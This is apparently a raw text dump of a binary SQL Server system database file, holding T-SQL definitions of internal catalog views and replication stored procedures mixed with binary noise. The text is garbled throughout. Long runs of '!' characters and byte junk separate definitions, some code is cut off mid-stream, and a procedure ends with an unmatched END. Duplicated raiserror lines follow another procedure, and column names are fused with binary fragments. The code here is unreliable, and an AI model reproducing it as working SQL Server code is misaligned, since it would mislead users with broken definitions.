	LEFT JOIN sys.syspalvalues st ON st.class = 'DBFS' AND st.value = f.filestate
	LEFT JOIN sys.syspalvalues ft ON ft.class = 'DBFT' AND ft.value = f.filetype
	WHERE f.dbid < 0x7fff -- consistent with sys.databases
		AND f.pruid = 0
		AND f.filestate NOT IN (1, 2)	-- x_efs_Dummy, x_efs_Dropped
		AND has_access('MF', 1) = 1
0)@ 8CREATE VIEW sys.backup_devices AS
	SELECT o.name,
		convert(tinyint, o.intprop) AS type,
		i.name AS type_desc,
		convert(nvarchar(260),v.value) AS physical_name
	FROM master.sys.sysclsobjs o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 55 AND v.objid = o.id AND v.subobjid = 0 and v.valnum = 1	-- SVC_BACKUPDEVICE:VALNUM_PHYSNAME
	LEFT JOIN sys.syspalvalues i ON i.class = 'BDTY' AND i.value = o.intprop
	WHERE o.class = 55	-- SOC_BACKUPDEVICE
0* 8CREATE VIEW sys.database_mirroring_witnesses AS
	SELECT database_name = w.name,
		principal_server_name = w.psrv,
		mirror_server_name = w.ssrv,
		safety_level = w.safety,
		safety_level_desc = s.name,
		safety_sequence_number = w.safetysequence,
		role_sequence_number = w.rolesequence,
		mirroring_guid = w.logshippingid,
		family_guid = w.familyid,
		is_suspended = sysconv(bit, 1 - w.status & 1),
		is_suspended_sequence_number = w.statussequence,
		partner_sync_state = dbmw.sync_state,
		partner_sync_state_desc = dbmw.sync_state_desc
	FROM master.sys.syslogshippers w
	LEFT JOIN sys.syspalvalues s ON s.class = 'DBSL' AND s.value = w.safety
	OUTER APPLY OpenRowset(TABLE DBMIRROR_WITNESS, w.logshippingid) dbmw
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F_P
m	`8
<^
Lng0 8CREATE VIEW sys.module_assembly_usages AS
	SELECT depid AS object_id,
		indepid AS assembly_id
	FROM sys.syssingleobjrefs
	WHERE class = 11 AND depsubid = 0 	-- SRC_MODULETOASM
0@ 8CREATE VIEW sys.type_assembly_usages AS
	SELECT depid AS user_type_id,
		indepid AS assembly_id
	FROM sys.syssingleobjrefs
	WHERE class = 38 AND depsubid = 0	-- SRC_TYPETOASM
0 48CREATE VIEW sys.fulltext_index_catalog_usages AS
	SELECT r.depid AS object_id,
		f.indid AS index_id,
		r.indepid AS fulltext_catalog_id
	FROM sys.syssingleobjrefs r
	LEFT JOIN sys.sysftinds f ON f.id = r.depid
	WHERE r.class = 39 AND r.depsubid = 0 -- SRC_FTITABTOCAT
0@ 8CREATE VIEW sys.service_queue_usages AS
	SELECT depid AS service_id,
		indepid AS service_queue_id
	FROM sys.syssingleobjrefs
	WHERE class = 21 AND depsubid = 0	-- SRC_SVCTOQUEUE
0 @ 8CREATE VIEW sys.parameter_type_usages AS
	SELECT id AS object_id,
		colid AS parameter_id,
		utype AS user_type_id
	FROM sys.syscolpars
	WHERE number = 1 AND utype > 256
0!@ 8CREATE VIEW sys.column_type_usages AS
	SELECT id AS object_id,
		colid AS column_id,
		utype AS user_type_id
	FROM sys.syscolpars
	WHERE number = 0 AND utype > 256
0" 8CREATE VIEW sys.message_type_xml_schema_collection_usages AS
	SELECT depid AS message_type_id,
		indepid AS xml_collection_id
	FROM sys.syssingleobjrefs
	WHERE class = 92 AND depsubid = 0	-- SRC_MSGTYPE_XSDTYPE
0# 8CREATE VIEW sys.parameter_xml_schema_collection_usages AS
	SELECT id AS object_id,
		colid AS parameter_id,
		xmlns AS xml_collection_id
	FROM sys.syscolpars
	WHERE number = 1 AND xmlns > 0
0$ 8CREATE VIEW sys.column_xml_schema_collection_usages AS
	SELECT id AS object_id,
		colid AS column_id,
		xmlns AS xml_collection_id
	FROM sys.syscolpars
	WHERE number = 0 AND xmlns > 0
0+@ $8CREATE VIEW sys.asymmetric_keys AS
	SELECT a.name AS name,
		r.indepid AS principal_id,
		a.id AS asymmetric_key_id,
		a.encrtype AS pvt_key_encryption_type,
		ce.name AS pvt_key_encryption_type_desc,
		a.thumbprint AS thumbprint,
		a.algorithm AS algorithm,
		case when vpt.value = 6 then -- x_emd_EKMProvider = 6
		    convert(varbinary(60),asymkeyproperty(a.id, 'algorithm_desc'))
		    else alg.name end AS algorithm_desc,
		a.bitlength AS key_length,
		convert(varbinary(85), asymkeyproperty(a.id, 'sid')) AS sid,
		convert(nvarchar(128), asymkeyproperty(a.id, 'string_sid')) AS string_sid,
		a.pukey AS public_key,
		convert(nvarchar(260), v.value) AS attested_by,
		n.name as provider_type,
		convert (uniqueidentifier, vpg.value) AS cryptographic_provider_guid,
		vpa.value AS cryptographic_provider_algid
	FROM sys.sysasymkeys a
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = a.id AND r.class = 64 AND r.depsubid = 0
	LEFT JOIN sys.syspalnames ce ON ce.class = 'CETY' AND ce.value = a.encrtype
	LEFT JOIN sys.syspalnames alg ON alg.class = 'ENAL' AND alg.value = a.algorithm
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 34 AND v.objid = a.id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_AKATTESTINGDLLPATH
	LEFT JOIN sys.sysobjvalues vpt ON vpt.valclass = 31 AND vpt.objid = a.id AND vpt.subobjid = 0 AND vpt.valnum = 1	-- SVC_AKPROVPROPS/PROV_TYPE_PROP
	LEFT JOIN sys.sysobjvalues vpg ON vpg.valclass = 31 AND vpg.objid = a.id AND vpg.subobjid = 0 AND vpg.valnum = 2	-- SVC_AKPROVPROPS/PROV_GUID_PROP
	LEFT JOIN sys.sysobjvalues vpa ON vpa.valclass = 31 AND vpa.objid = a.id AND vpa.subobjid = 0 AND vpa.valnum = 3	-- SVC_AKPROVPROPS/PROV_ALGID_PROP
	LEFT JOIN sys.syspalvalues n ON n.class = 'CPKP' AND n.value = vpt.value
	WHERE has_access('AK', a.id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j>
6`<
.U70ն `8CREATE VIEW sys.service_message_types$ AS
	SELECT o.name,
		o.id AS message_type_id,
		p.indepid AS principal_id,
		o.type AS validation,
		v.name AS validation_desc,
		xml_collection_id = r.indepid
	FROM sys.sysbinobjs o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 92 AND r.depsubid = 0	-- SRC_MSGTYPE_XSDTYPE
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = o.id AND p.class = 53 AND p.depsubid = 0	-- SRC_MSGTYPEOWNER
	LEFT JOIN sys.sysbinpals v ON v.class = 'SMVA' AND v.value = o.type
	WHERE o.class = 21 AND o.nsid = 0	-- SOC_MESSAGETYPE
0C@ -8
create procedure sys.sp_MSreplraiserror @errorid int, @param1 sysname = null, @param2 sysname= null
as
    if @errorid = 20508 raiserror (20508, 11, 1)
    else if @errorid = 20509 raiserror (20509, 16, 1)
    else if @errorid = 20510 raiserror (20510, 16, 1)
    else if @errorid = 20511 raiserror (20511, 16, 1)
    else if @errorid = 20512 raiserror (20512, 16, 1)
    else if @errorid = 20515 raiserror (20515, 16, 1)
    else if @errorid = 20516 raiserror (20516, 16, 1)
    else if @errorid = 20504 raiserror (20504, 16, 1)
    else if @errorid = 20518 raiserror (20518, 16, 1)
    else if @errorid = 20519 raiserror (20519, 16, 1)
    else if @errorid = 20520 raiserror (20520, 16, 1)
    else if @errorid = 21034 raiserror (21034, 16, 1)
    else if @errorid = 21052 raiserror (21052, 16, 1)
    else if @errorid = 21054 raiserror (21054, 16, 1)
    else if @errorid = 21064 raiserror (21064, 16, 1)
    else if @errorid = 21161 raiserror (21161, 16, 1)
    else if @errorid = 20598 raiserror (20598, 16, 1)
0@ 	8
--
-- Name:    
--          sp_helppublication
--          
-- Description: 
--          Returns information about a publication.  If the article
--          name is not specified, it returns information for all publications
--          associated with the publishing database.
--
--          For a SQL Server publication, this stored procedure is executed
--          at the Publisher on the publishing database.  For a heterogeneous
--          publication, this stored procedure may be executed in any database
--          at the distributor for the associated publisher.
--
--          When the @publication parameter is NULL, results are only returned
--          for those publications that the current user has PAL access to.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
--
-- Returns:
--          Result set of publication properties
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_helppublication
(
    @publication sysname = N'%',
    @found int = 23456 OUTPUT, -- flag indicate returning row
    @publisher sysname = NULL
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
                                            @publisher = @publisher,
                                            @publisher_type = @publisher_type OUTPUT,
                                            @rpcheader = @cmd OUTPUT,
                                            @skipSecurityCheck = 1
    IF @retcode <> 0
        RETURN (@retcode)

    SELECT   @publisher = UPPER(@publisher)
                ,@cmd = case when (@publisher_type = N'MSSQLSERVER') 
                            then @cmd + N'sys.sp_MSrepl_helppublication' 
                            else @cmd + N'sys.sp_IHhelppublication' end
    EXEC @retcode = @cmd
                                @publication,
                                @found OUTPUT,
                                @publisher,
                                @publisher_type
    RETURN (@retcode)
END
0@ ;8CREATE view sys.dm_repl_traninfo
as
	SELECT 
		[fp2p_pub_exists]
		,[db_ver]
		,[comp_range_address]
		,[textinfo_address]
		,[fsinfo_address]
		,[begin_lsn]
		,[commit_lsn]
		,[dbid]
		,[rows]
		,[xdesid]
		,[artcache_table_address]
		,[server]
		,[server_len_in_bytes]
		,[database]
		,[db_len_in_bytes]
		,[originator]
		,[originator_len_in_bytes]
		,[orig_db]
		,[orig_db_len_in_bytes]
		,[cmds_in_tran]
		,[is_boundedupdate_singleton]
		,[begin_update_lsn]
		,[delete_lsn]
		,[last_end_lsn]
		,[fcomplete]
		,[fcompensated]
		,[fprocessingtext]
		,[max_cmds_in_tran]
        ,[begin_time]
        ,[commit_time]
        ,[session_id]
        ,[session_phase]
        ,[is_known_cdc_tran]
        ,[error_count]
	FROM OpenRowset(TABLE DM_REPL_TRANINFO)
0 8-- =============================================
-- sp_MShasdbaccess
-- =============================================
-- List all databases a user has access to
-- along with their db properties
--
-- PARAMETERS: N/A
--
-- REMARKS: for SQL Server 7.0 and 8.0
-- =============================================
create proc sys.sp_MShasdbaccess
as

set nocount on
set deadlock_priority low

select name as 'dbname',
owner = substring(suser_sname(sid), 1, 24),
(CASE WHEN DATABASEPROPERTYEX(name, 'UserAccess') = 'RESTRICTED_USER' THEN 1 ELSE 0 END) as 'DboOnly',
(SELECT is_read_only FROM sys.databases WHERE name=sys.sysdatabases.name) as 'ReadOnly',
(CASE WHEN DATABASEPROPERTYEX(name, 'UserAccess') = 'SINGLE_USER' THEN 1 ELSE 0 END) as 'SingleUser',
NULL as 'Detached',    -- DATABASEPROPERTY(name, N'IsDetached') always return NULL since IsDetached property doesn't exist
(CASE WHEN DATABASEPROPERTYEX(name, 'Status') = 'SUSPECT' THEN 1 ELSE 0 END) as 'Suspect',
(CASE WHEN DATABASEPROPERTYEX(name, 'Status') = 'OFFLINE' THEN 1 ELSE 0 END) as 'Offline',
(CASE WHEN DATABASEPROPERTYEX(name, 'Status') = 'RESTORING' THEN 1 ELSE 0 END) as 'InLoad',
(CASE WHEN DATABASEPROPERTYEX(name, 'Status') = 'EMERGENCY' THEN 1 ELSE 0 END) as 'EmergencyMode',
CONVERT(INT, DATABASEPROPERTYEX(name, N'IsInStandBy')) as 'StandBy',
(CASE WHEN DATABASEPROPERTYEX(name, 'Status') = 'SUSPECT' THEN 1 ELSE 0 END) as 'ShutDown', -- Both 'IsShutDown' and 'Suspect' are now mapped to 'Suspect'.
(CASE WHEN DATABASEPROPERTYEX(name, 'Status') = 'RECOVERING' THEN 1 ELSE 0 END) as 'InRecovery',
NULL as 'NotRecovered' -- DATABASEPROPERTY(name, N'IsNotRecovered') always return NULL since IsNotRecovered property doesn't exist

from sys.sysdatabases
where has_dbaccess(name) = 1
order by name
-- =============================================
-- end sp_MShasdbaccess
-- =============================================

END
0y 8create procedure sys.sp_MSflush_access_cache
AS
    -- Delete all the 'dead' connections in MSpublisher_access.
    
    if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
    type = 'U')
    begin
        -- Delete all the 'dead' connections in MSdistributor_access.
        delete tempdb.dbo.MSdistributor_access 
		from tempdb.dbo.MSdistributor_access a
		left outer join sys.dm_exec_sessions dm 
			on a.spid = dm.session_id
			and a.login_time = dm.login_time 
		where dm.session_id is null

        if @@error <> 0
            return 1
        else
            return 0
    end
    return (0)
)
    else if @errorid = 20519 raiserror (20519, 16, 1)
    else if @errorid = 20520 raiserror (20520, 16, 1)
    else if @errorid = 21034 raiserror (21034, 16, 1)
    else if @errorid = 21052 raiserror (21052, 16, 1)
    else if @errorid = 21054 raiserror (21054, 16, 1)
    else if @errorid = 21064 raiserror (21064, 16, 1)
    else if @errorid = 21161 raiserror (21161, 16, 1)
    else if @errorid = 20598 raiserror (20598, 16, 1)
0_^ \8XBQh>8^w!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N
U
E
`c	<'>0@ 8create VIEW sys.tempstatvals
    AS
    SELECT  *
    FROM    tempdb.sys.sysobjvalues o
    WHERE   o.valclass = 54 AND  --ESystemValueClass::SVC_TEMPSTATS
            o.objid = db_id() 
0@ 8	CREATE VIEW sys.column_store_segments
	AS
		SELECT s.hobt_id as partition_id,
			s.hobt_id,
			column_id,
			segment_id,
			version,
			encoding_type,
			row_count,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then sysconv(bit, s.status & 1) else NULL end) as has_nulls,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then base_id else NULL end) as base_id,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then magnitude else NULL end) as magnitude,
			primary_dictionary_id,
			secondary_dictionary_id,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then min_data_id else NULL end) as min_data_id,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then max_data_id else NULL end) as max_data_id,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then null_value else NULL end) as null_value,
			on_disk_size
		FROM sys.syscscolsegments s
		INNER JOIN sys.sysrowsets p ON s.hobt_id = p.rowsetid
		WHERE has_access('CO', p.idmajor) = 1
0@ 8CREATE VIEW sys.sequences AS
	SELECT
		-- common fields
		o.name,
		o.object_id,
		o.principal_id,
		o.schema_id,
		o.parent_object_id,
		o.type,
		o.type_desc,
		o.create_date,
		o.modify_date,
		o.is_ms_shipped,
		o.is_published,
		o.is_schema_published,
		-- specific fields
		dmv.start_value,
		dmv.increment,
		dmv.minimum_value,
		dmv.maximum_value,
		is_cycling = o.is_cycling,
		is_cached = o.is_cached,
		cache_size = nullif (o.property, 0),
		dmv.system_type_id,
		user_type_id = isnull(udt.indepid, dmv.system_type_id),
		dmv.precision,
		scale = convert(tinyint, 0), -- The scale always returns 0 as only integer types are allowed.
		dmv.current_value,
		dmv.is_exhausted
	FROM sys.objects$ o
	CROSS APPLY OpenRowset(TABLE DM_DB_SEQUENCES, o.object_id) dmv
	LEFT JOIN sys.syssingleobjrefs udt ON udt.depid = o.object_id AND udt.class = 43 AND udt.depsubid = 0	-- SRC_OBJTOTYPE
	WHERE o.type = 'SO' -- MDOT_SEQUENCE
0 8CREATE VIEW sys.registered_search_properties AS
	SELECT 
		ftp.property_list_id AS property_list_id,
		ftp.property_id AS property_id,
		ftp.property_name AS property_name,
		ftp.guid_identifier AS property_set_guid,
		ftp.int_identifier AS property_int_id,
		ftp.string_description AS property_description
	FROM sys.sysftproperties ftp
	JOIN sys.sysclsobjs sc ON ftp.property_list_id = sc.id and sc.class = 66 and has_access ('FP', sc.id) = 1 -- join to filter property according to has_access() 
0 8CREATE VIEW sys.registered_search_property_lists AS
	SELECT 
		o.id AS property_list_id,
		o.name AS name,
		o.created AS create_date,
		o.modified AS modify_date,
		p.indepid as principal_id 
	FROM sys.sysclsobjs o 
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = o.id AND p.class = 102 AND p.depsubid = 0	
	where o.class = 66
		AND has_access ('FP', o.id) = 1
0@ 8CREATE VIEW sys.fulltext_stopwords AS
	SELECT 
		fts.stoplistid AS stoplist_id,
		fts.stopword,
		ftl.name AS language,
		language_id = fts.lcid
	FROM sys.sysftstops fts
	JOIN sys.fulltext_languages ftl ON fts.lcid = ftl.lcid
	JOIN sys.sysclsobjs sc ON fts.stoplistid = sc.id and sc.class = 33 and has_access ('FS', sc.id) = 1 -- join to filter stoplist according to has_access() 
0@ 8CREATE VIEW sys.fulltext_stoplists AS
	SELECT 
		o.id AS stoplist_id,
		o.name AS name,
		o.created AS create_date,
		o.modified AS modify_date,
		p.indepid as principal_id 
	FROM sys.sysclsobjs o 
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = o.id AND p.class = 101 AND p.depsubid = 0	--SRC_FTSTPLIST_OWNER
	where o.class = 33
		AND has_access ('FS', o.id) = 1
0	 8CREATE VIEW sys.fulltext_index_fragments AS
	SELECT cprelid as table_id, fragid as fragment_id, fragobjid as fragment_object_id, ts as timestamp, status, datasize as data_size, rowcnt as row_count
	FROM sys.syscompfragments
0
 8CREATE VIEW sys.database_audit_specification_details AS
	SELECT
		database_specification_id	= asp.id,
		audit_action_id 			= saa.type, -- EDiskAuditActionType
		audit_action_name 			= convert(nvarchar(60), 
											audit_action_property('name', saa.class, saa.type)),
		class 						= saa.class, -- EMDPermissionClass
		class_desc				 	= n.name,
		major_id				 	= saa.id,
		minor_id				 	= saa.subid,
		audited_principal_id		= saa.grantee,
		audited_result			 	= convert(nvarchar(60), 'SUCCESS AND FAILURE'),
		is_group				 	= sysconv(bit, 
										audit_action_property('is_group', saa.class, saa.type))
	FROM
		sys.sysclsobjs asp INNER JOIN 
		sys.sysaudacts saa ON
			(
				saa.audit_spec_id = asp.id
			) LEFT JOIN
		sys.syspalvalues n ON 
			(
				n.class = 'UNCL' AND
				n.value = saa.class
			)
	WHERE
		asp.class = 65 AND -- SOC_SECAUDITSPEC
		asp.type = 'DA'
		AND has_access('DA', 0) = 1 -- catalog security check
0 .8CREATE VIEW sys.database_audit_specifications AS
	SELECT
		asp.id AS database_specification_id,
		asp.name AS name,
		asp.created AS create_date,
		asp.modified AS modify_date,
		g.guid AS audit_guid,
		sysconv(bit, sysconv (int, asp.status) & 0x1) AS is_state_enabled
	FROM sys.sysclsobjs asp
	LEFT JOIN sys.sysguidrefs g ON g.class = 7 AND g.id = asp.id AND g.subid = 0  -- GRC_DBAUDITSPECGUID
	WHERE asp.class = 65 AND asp.type = 'DA' -- SOC_SECAUDITSPEC
		AND has_access('DA', 0) = 1 -- catalog security check
0 V8	CREATE VIEW sys.column_store_dictionaries
	AS
		SELECT d.hobt_id as partition_id,
			d.hobt_id,
			column_id,
			dictionary_id,
			version,
			type,
			flags,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then last_id else NULL end) as last_id,
			(case when has_perms_by_name(OBJECT_NAME(p.idmajor), 'OBJECT', 'SELECT') = 1 then entry_count else NULL end) as entry_count,
			on_disk_size
		FROM sys.syscsdictionaries d
		INNER JOIN sys.sysrowsets p ON d.hobt_id = p.rowsetid
		WHERE has_access('CO', p.idmajor) = 1
0 8CREATE VIEW sys.conversation_priorities AS
	SELECT
		priority_id,
		name,
		service_contract_id,
		local_service_id,
		remote_service_name,
		priority
	FROM sys.syspriorities
0@ 8CREATE VIEW sys.filetables AS
	SELECT p.*
	FROM sys.objects$ o WITH (NOLOCK)
		CROSS APPLY OpenRowset(TABLE FILETABLES, o.object_id) p
	WHERE o.is_filetable = 1
	AND has_access('CO', o.object_id) = 1
0 8CREATE VIEW sys.filetable_system_defined_objects AS
	SELECT
		o.id AS object_id,
		o.pid AS parent_object_id
	FROM sys.sysschobjs o
	WHERE sysconv(bit, o.status2 & 0x00000001) = 1 -- OBJALL2_SYSTEM_SCHEMA
		AND has_access('CO', o.id) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o
	A`-;)CG Xc0-A$$[conversation_handle0-A$$Sconversation_id0-AhhMis_initiator0-A88
[service_contract_id0-A$$_conversation_group_id0-A88
Iservice_id0-A==Elifetime0-A?state0-A	xxIstate_desc0-A
Kfar_service0-A[far_broker_instance0-A88
Mprincipal_id0-A
88
Ufar_principal_id0-A$$soutbound_session_key_identifier0-A$$qinbound_session_key_identifier0-A==Ysecurity_timestamp0-A==Mdialog_timer0-AOsend_sequence0-AWlast_send_tran_id0-A[end_dialog_sequence0-AUreceive_sequence0-A88
_receive_sequence_frag0-ASsystem_sequence0-Akfirst_out_of_order_sequence0-Ailast_out_of_order_sequence0-A88
alast_out_of_order_frag0-AhhGis_system0-A00Epriority0-B$$_conversation_group_id0-B88
Iservice_id0-BhhGis_system0-C88
Iservice_id0-C88
[service_contract_id0-D=name0-D88
Iservice_id0-D88
Mprincipal_id0-D88
Uservice_queue_id0-E88
[service_contract_id0-E88
Smessage_type_id0-Ehh]is_sent_by_initiator0-EhhWis_sent_by_target0-F=name0-F88
[service_contract_id0-F88
Mprincipal_id0-G=name0-G88
Smessage_type_id0-G88
Mprincipal_id0-GIvalidation0-GxxSvalidation_desc0-G88
Wxml_collection_id0-H88
[fulltext_catalog_id0-H=name0-H=path0-HhhIis_default0-Hhheis_accent_sensitivity_on0-H88
Odata_space_id0-H88
Cfile_id0-H88
Mprincipal_id0-H	hhMis_importing!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
hhOis_fixed_role0-V88
[authentication_type0-Vxxeauthentication_type_desc0-V
_default_language_name0-V88
_default_language_lcid0-W=name0-W88
Gschema_id0-W88
Mprincipal_id0-X=name0-X00Qsystem_type_id0-X88
Muser_type_id0-X88
Gschema_id0-X88
Mprincipal_id0-X44Imax_length0-X00Gprecision0-X00?scale0-X	Qcollation_name0-X
hhKis_nullable0-XhhSis_user_defined0-XhhUis_assembly_type0-X
88
Wdefault_object_id0-X88
Qrule_object_id0-X88
Kassembly_id0-XQassembly_class0-XhhWis_binary_ordered0-XhhSis_fixed_length0-XPPCprog_id0-X@@cassembly_qualified_name0-XhhOis_table_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![b
o

	r		Dg EtQl{ O`-H)r5#!N0-%00?class0-%xxIclass_desc0-%88
Emajor_id0-%88
Eminor_id0-%88
]grantee_principal_id0-%88
]grantor_principal_id0-%=type0-%Spermission_name0-%	?state0-%
xxIstate_desc0-&88
Wrole_principal_id0-&88
[member_principal_id0-'4=name0-'88
Mprincipal_id0-'UU;sid0-'=type0-'xxGtype_desc0-'hhKis_disabled0-'==Kcreate_date0-'==Kmodify_date0-'	4_default_database_name0-'
4_default_language_name0-'88
Ocredential_id0-'88
[owning_principal_id0-'
hhOis_fixed_role0-(88
Kdatabase_id0-(88
Cfile_id0-($$Gfile_guid0-(00=type0-(xxGtype_desc0-(88
Odata_space_id0-(=name0-(Ophysical_name0-(	00?state0-(
xxIstate_desc0-(88
=size0-(88
Emax_size0-(
88
Agrowth0-(hhYis_media_read_only0-(hhMis_read_only0-(hhGis_sparse0-(hhWis_percent_growth0-(hhUis_name_reserved0-(ll

Icreate_lsn0-(ll

Edrop_lsn0-(ll

Oread_only_lsn0-(ll

Qread_write_lsn0-(ll

